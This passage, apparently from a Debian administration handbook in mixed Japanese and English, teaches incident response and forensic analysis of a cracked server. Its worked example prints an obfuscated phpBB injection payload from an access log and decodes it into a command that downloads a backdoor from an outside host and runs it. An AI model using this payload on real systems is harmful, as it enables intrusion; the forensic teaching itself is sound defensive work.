最良の心構えと注意深く設計されたセキュリティポリシーにも関わらず、結局のところ管理者は乗っ取りに直面します。この節では、不幸な状況に直面した場合の対応方法に関して、いくつかの指針を紹介します。
クラッキング対応の最初の段階はクラッキング行為を把握することです。クラッキング行為を特に十分な監視設備がない状態で把握することは不可能です。
Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check /proc/pid/exe to see what program this process is currently running:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
プログラムが /var/tmp/ の下にインストールされ、ウェブサーバの権限で実行している? 間違いありません。マシンは不正侵入されています。
これは一例に過ぎませんが、他にも管理者のアンテナに引っかかるような数多くの手掛かりが存在します。
もはや動作しないはずのオプションを使っているコマンド。コマンドの主張するソフトウェアバージョンが dpkg によってインストールされたと考えられるバージョンと一致しない可能性があります。
最後の接続元が別の大陸にある未知のサーバということを示すコマンドプロンプトやセッション挨拶文。
/tmp/ パーティションが満杯になったことによるエラー。/tmp/ パーティションが大量の映画の不正コピーで満杯になっている可能性があります。
などです。
クラッキングが最も派手に行われる場合を除けば、クラッキングはネットワーク経由で行われ、攻撃者は目標 (機密データへのアクセス、不正ファイルの共有、踏み台としてマシンを使うことによる本人識別情報の隠匿など) を達成するためにネットワークを必要とします。攻撃者がまだクラッキング行為を完了していないならば、ネットワークからコンピュータを切り離すことで攻撃者は目標を達成できなくなります。
This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see
第 14.7.3 節「証拠として使えるすべての保存」,
第 14.7.5 節「フォレンジック解析」 and
第 14.7.6 節「攻撃シナリオの再構成」), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but
sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.
攻撃を理解したり攻撃者に対して法的手段を取ったりするには、すべての重要な要素の複製を取ることが必要です。ここで重要な要素にはハードディスクの内容、すべての実行中プロセスのリスト、すべての開かれた接続のリストなどが含まれます。RAM の内容が重要な要素に含められる場合もありますが、実際に RAM の内容が役に立つことはまれです。
作業中に、管理者は不正侵入されたマシン上で数多くの事項を確認しようとします。しかし通常これは避けるべきです。すべてのコマンドは破壊されている可能性があり、さまざまな証拠を消してしまいます。管理者は最低限の確認 (ネットワーク接続状態を確認する netstat -tupan、プロセスのリストを確認する ps auxf、実行中プログラムのより詳しい情報を確認する ls -alR /proc/[0-9]*) だけを実行し、実行したすべての確認事項を注意深く記録するべきです。
「動的な」要素の保存が完了したら、次にハードディスクの完全なイメージを保存します。ファイルシステムの内容が書き変えられている最中に完全なイメージを作ることは不可能です。そのため、ファイルシステムを読み込み専用で再マウントする必要があります。最も簡単な解決策として、(sync を実行した後に) サーバを無理やり停止し、レスキュー CD を使って再起動することがよく行われます。各パーティションは dd などのツールを使ってコピーされるべきです。この種のイメージを他のサーバに送信することが可能です (場合によってはとても便利な nc ツールを使って送信します)。他のより簡単な方法もあります。その方法とは不正侵入されたマシンからディスクを取り出して、再フォーマットおよび再インストールしても問題ない新しいディスクで置き換える方法です。
不正侵入されたサーバを完全に再インストールする前にオンラインに戻すべきではありません。深刻な不正侵入の場合 (管理者権限が奪われていた場合)、再インストール以外に攻撃者が残したすべて (特にバックドア) が一掃されたことを保証する方法はほぼ存在しません。もちろん、攻撃者の使う脆弱性をふさぐために、すべての最新のセキュリティ更新を適用しなければいけません。理想的に言えば、不正侵入の形跡を解析することで、この最新のセキュリティ更新によってふさがれる脆弱性を使って不正侵入が行われたことが明らかになるべきです。そうすれば、実際に攻撃ベクトルが修正されたことを保証することが可能です。しかしこれができなければ、更新によって不正侵入の足掛かりとなった脆弱性が修正されたことを期待することしかできません。
Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems or remote consoles (although these cases should be rare). Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media.
サービスが回復したら、攻撃ベクトルを理解するために不正侵入されたシステムのディスクイメージの詳細な調査を開始します。ディスクイメージをマウントする際に、ro,nodev,noexec,noatime オプションを使うことに注意してください。これは (ファイルにアクセスしたタイムスタンプを含めて) 内容の変更を防ぎ、誤って破壊されたプログラムを実行することを防ぐ意味合いがあります。
通常、攻撃シナリオを追跡するには変更されて実行されたすべてを探し出すことが必要です。
.bash_history ファイルには、極めて興味深い内容が含まれます。
最近作成、修正、アクセスされたファイルの一覧にも極めて興味深い内容が含まれます。
strings コマンドは攻撃者がインストールしたプログラムを識別する助けになります。strings コマンドはバイナリからテキスト文字列を抽出します。
/var/log/ 内のログファイルを使えば出来事の経過を追跡することが可能です。
特殊目的のツールを使うことで、削除された可能性のあるファイルすなわち攻撃者が削除することが多いログファイルなどの内容を復元することが可能です。
Some of these operations can be made easier with specialized software. In particular, the
sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the
Autopsy Forensic Browser graphical interface (in the
autopsy package). Some Linux distributions have a "live install" image and contain many programs for forensic analysis, such as Kali Linux (see
第 A.8 節「Kali Linux」), with its
forensic mode, BlackArchLinux, and the commercial Grml-Forensic, based on Grml (see
第 A.6 節「Grml」).
解析中に収集されたすべての要素はジグソーパズルのピースのように組み合わさるべきです。最初の疑わしいファイルの作成は侵害を証明するログと関係があることがしばしばあります。長ったらしい理論よりも実例の方が分かりやすいでしょう。
以下に Apache access.log から抜粋したログを示します。
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
This example matches exploitation of an old security vulnerability in phpBB.
長い URL を復号することで、攻撃者がいくつかの PHP コードを実行しようと試みたことが理解できます。ここでは system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &") を実行しようと試みています。確かに、bd ファイルが /tmp/ の中で見つかりました。strings /mnt/tmp/bd を実行したところ、他の文字列に混じって、PsychoPhobia Backdoor is starting... が返されました。これはまさにバックドアのように見えます。
しばらくの後、このアクセスは地下 IRC ネットワークに接続する IRC ボットをダウンロード、インストール、実行するために使われました。この IRC ボットは IRC プロトコルを介して制御され、共有するファイルをダウンロードする指示を与えられました。IRC ボットは以下に示す自分専用のログファイルを持っています。
** 2004-11-29-19:50:15: NOTICE: :[email protected] NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from [email protected]
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
ログに残された痕跡によれば、82.50.72.202 という IP アドレスを経由して 2 つのビデオファイルがサーバ上に保存されたことがわかります。
並行して、攻撃者はさらに /tmp/pt と /tmp/loginx にファイルをダウンロードしました。strings を使ってこれらのファイルを調べると、Shellcode placed at 0x%08lx や Now wait for suid shell... などの文字列が見つかりました。プログラムは管理者権限を取得するためにローカルの脆弱性を不正利用しているように見えます。攻撃者は目標を達成したでしょうか? この場合、おそらくまだでしょう。なぜなら、最初の侵害行為の後どのファイルも修正されていなかったからです。
この例では、不正侵入の手続きのすべてが再構成されました。そして、攻撃者は不正侵入されたシステムを約 3 日間にわたって悪用することができたと推測することが可能です。しかし、解析で明らかになった最も重要な要素は脆弱性の内容です。管理者は新規インストールによって完全にこの種の脆弱性が修正されたことを保証することが可能です。
